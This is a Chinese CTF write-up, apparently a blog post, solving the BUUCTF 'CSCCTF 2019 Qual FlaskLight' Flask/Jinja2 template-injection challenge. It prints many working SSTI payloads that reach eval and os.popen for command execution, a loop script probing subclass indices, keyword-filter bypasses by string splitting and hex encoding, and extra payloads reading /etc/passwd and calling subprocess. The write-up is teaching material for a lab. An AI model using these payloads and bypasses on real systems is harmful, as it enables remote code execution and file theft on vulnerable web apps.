BUU40 [CSCCTF 2019 Qual]FlaskLight1【SSTI】

模板:

|----------------------------------------------------------------------------------------------------------------------------------------------------------|
| python {{''.__class__.__base__.__subclasses__()[80].__init__.__globals__['__builtins__'].eval("__import__('os').popen('type flag.txt').read()")}} |

''是个空字符串,''.__class__代表这个空字符串的类是什么(这里是单引号双引号都行)

.__base__表示追踪它的父类,.subclass()表示列出它的子类,而80表示它的第八十个子类,.init__在创建类的新实例时自动调用,用于初始化对象的属性,每个类方法(包括__init)都是一个对象,__globals__就是__init__下的方法(子类)

__globals__是个字典,包含着所有全局变量,其中__builtins__也在里面,而__builtins__是管很多常用的内置函数,比如说eval()呀啥的

__import__和import等价,不同的是__import__可以在后头加个 . 直接调用函数

也可以用'xxxx'代替 .

python 复制代码
{{''['__class__']['__base__']['__base__']['__subclasses__']()[78]['__init__']['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('cat /flasklight/coomme_geeeett_youur_flek').read()")}}

Payload2 没用eval直接open

python 复制代码
{{''.__class__.__base__.__base__.__subclasses__()[78].__init__['__glo'+'bals__']['__builtins__'].open("/flasklight/coomme_geeeett_youur_flek").read()}}

payload3

python 复制代码
{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %} {% for b in c.__init__['__glo'+'bals__'].values() %} {% if b.__class__ == {}.__class__ %} {% if 'eval' in b.keys() %} {{ b['eval']('__import__("os").popen("cat /flasklight/coomme_geeeett_youur_flek").read()') }} {% endif %} {% endif %} {% endfor %} {% endif %} {% endfor %}

payload4

python 复制代码
{{config.__class__.__init__['__glo'+'bals__']['os'].popen('cat /flasklight/coomme_geeeett_youur_flek').read()}}

题目:

在源代码中发现用get提交search

存在SSTI

直接套上模板发现不对,我们先一步一步来

"".class.__base__按道理来说应该是object但是这里却是basestring,再给他套上一层__base__试试

ok成功出现object

套了两层__base__其实可以等价于**?search={{''.class.mro2.subclasses()}}中的__mro__**

再加上subclasses试试:

好的说明这样是对的,不知道哪个类的__init__含有globals

用py搜索

python 复制代码
import requests as res
import time
for i in range(0,400):
    url="http://822ebf30-6568-45d3-a757-7fa1848f0368.node5.buuoj.cn:81/?search={{''.__class__.__base__.__base__.__subclasses__()[%d].__init__['__glob'+'als__']}}"
    response=res.get(url%i)
    #访问速度过快会返回429,此时就需要暂缓再访问
    if response.status_code!=200:
        time.sleep(0.3)
        response=res.get(url%i)
    print(len(response.text),i,response.status_code)

没有一个成功的,没道理啊

这么搜就对

但是加上__globals__就出错了

所以很有可能是过滤掉了globals,一搜还真是

绕过方法:

第一种:拼接

将__globals__替换成'__globals__',然后再把globals拆开,用 + 连接(py性质)

这里__globals__和'__globals__'有什么区别呢?

'__globals__'是尝试以字典键的形式访问__init__对象的__globals__属性

人话就是,如果你访问__globals__,就是访问函数对象的一个内在属性,如果访问'__globals__'呢,就会触发对象的另一个叫 __getitem__ 方法

测试一下search=glo'+'bal。。。怎么被腰斩了,哦原来+在url中被翻译成空格啊

但是在'__glob'+'al__'里面就能正常拼接,原因是在这里面需要经过python编译,python编译时候自动拼接,但是在url中直接提交会被翻译成连接符号

试着RCE,成功

python 复制代码
/?search={{"".__class__.__base__.__base__.__subclasses__()[78].__init__['__glob'+'als__']['__builtins__'].eval("__import__('os').popen('whoami').read()")}}
python 复制代码
/?search={{"".__class__.__base__.__base__.__subclasses__()[78].__init__['__glob'+'als__']['__builtins__'].eval("__import__('os').popen('ls /').read()")}}
python 复制代码
/?search={{"".__class__.__base__.__base__.__subclasses__()[78].__init__['__glob'+'als__']['__builtins__'].eval("__import__('os').popen('cat flasklight').read()")}}

cat不行,里面啥也没有,所以flasklight是个文件夹(这个玩意没有后缀,早该知道是个文件夹的)

python 复制代码
/?search={{"".__class__.__base__.__base__.__subclasses__()[78].__init__['__glob'+'als__']['__builtins__'].eval("__import__('os').popen('ls flasklight').read()")}}
python 复制代码
/?search={{"".__class__.__base__.__base__.__subclasses__()[78].__init__['__glob'+'als__']['__builtins__'].eval("__import__('os').popen('cat /flasklight/coomme_geeeett_youur_flek').read()")}}

第二种:十六进制,unicode编码

WAF/过滤器无法直接识别编码后的字符串,但模板引擎仍能解析为原始属性名。

十六进制编码:

python 复制代码
# 原始字符串
target = "__globals__"

# 转换为 \xHH 格式的十六进制编码
hex_encoded = ''.join([f"\\x{ord(c):02x}" for c in target])
# 结果:\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f

这个绕过的比拆分更多

ai比我会呜呜呜

全部用十六进制:

python 复制代码
/?search={{""["\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"]["\x5f\x5f\x62\x61\x73\x65\x5f\x5f"]["\x5f\x5f\x62\x61\x73\x65\x5f\x5f"]%20["\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f"]()[X].__init__["\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f"]}}

实际上就是search={{"".class.base.base.subclasses()78.init.globals}}

用十六进制编码以后再用 括起来

这里__init__不能被十六进制编码

十六进制编码和正常payload混在一块写就行

python 复制代码
/?search={{""["\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"]["\x5f\x5f\x62\x61\x73\x65\x5f\x5f"]["\x5f\x5f\x62\x61\x73\x65\x5f\x5f"] ["\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f"]()[78].__init__["\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f"]["\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f"].eval("__import__('os').popen('cat /flasklight/coomme_geeeett_youur_flek').read()")}}   

其他一些payload或者可用的危险函数:
_frozen_importlib_external.FileLoader类:该类下有get_data函数可以实现读取文件

python 复制代码
''.__class__.__base__.__subclasses__()[xx]["get_data"](0,"/etc/passwd")

importlib 类:importlib类中的load_module可以引用os

python 复制代码
{{''.__class__.__base__.__subclasses__()[xx]['load_moudule']("os")["popen"]("ls").read()}}

subprocess.Popen

python 复制代码
{{''.__class__.__base__.__subclasses__()[xx]('ls',shell=True,stdout=-1).communicate()[0].strip()}}

SSTI的一些总结

  1. __builtins__里面用open('xxx.txt').read()语句可以打开阅读文件
  2. 这个还有另一种写法就是'''__class__''__init__''__globals__''__builtins__''eval'(import('os').popen('cat xxx').read())
  3. 'os'模块里面有listdir('/'),可以列出根目录
python 复制代码
{% for c in [].__class__.__base__.__subclasses__() %}
 {% if c.__name__ == 'catch_warnings' %}
 {% for b in c.__init__['__glo'+'bals__'].values() %} 
{% if b.__class__ == {}.__class__ %} 
{% if 'eval' in b.keys() %}
 {{ b['eval']('__import__("os").popen("cat /flasklight/coomme_geeeett_youur_flek").read()') }}
 {% endif %}
 {% endif %} 
 {% endfor %} 
 {% endif %}
 {% endfor %}

这里面b.keys():字典对象的 keys() 方法会返回一个包含该字典所有键的视图对象,in 运算符用于字典时默认就是检查键,所以 'eval' in b'eval' in b.keys() 是等价的。因此,模板代码可以简化为 {% if 'eval' in b %}

参考

SSTI(模板注入)--Flask(萌新向) | BUUCTF题解CSCCTF 2019 QualFlaskLight & GYCTF2020FlaskApp(SSTI) - Article_kelp - 博客园

CSCCTF 2019 Qual FlaskLight_cscctf 2019 qualflasklight-CSDN博客

相关推荐
心中有国也有家1 小时前
GE图引擎深度解析——CANN的计算图优化与执行引擎
人工智能·pytorch·python·学习·numpy
卷毛的技术笔记2 小时前
告别硬编码!Spring AI Alibaba 实现 AI Agent 智能工具调用(Tool Calling)
java·人工智能·后端·python·spring·ai编程
编程大师哥2 小时前
匿名函数 lambda + 高阶函数
java·python·算法
isyangli_blog2 小时前
OpenDayLight (Carbon 版本) 启动与组件安装
开发语言·php
vb2008113 小时前
FastAPI APIRouter
开发语言·python
Benszen3 小时前
KVM虚拟化解决方案
开发语言·perl
会编程的土豆3 小时前
Go 语言反射(Reflection)详解
开发语言·后端·golang
東雪木3 小时前
多线程与并发编程 专属复习笔记
java·开发语言·笔记·java面试
adrninistrat0r3 小时前
Java调用链MCP分析工具
java·python·ai编程
杨充3 小时前
1.3 浮点型数据设计灵魂
开发语言·python·算法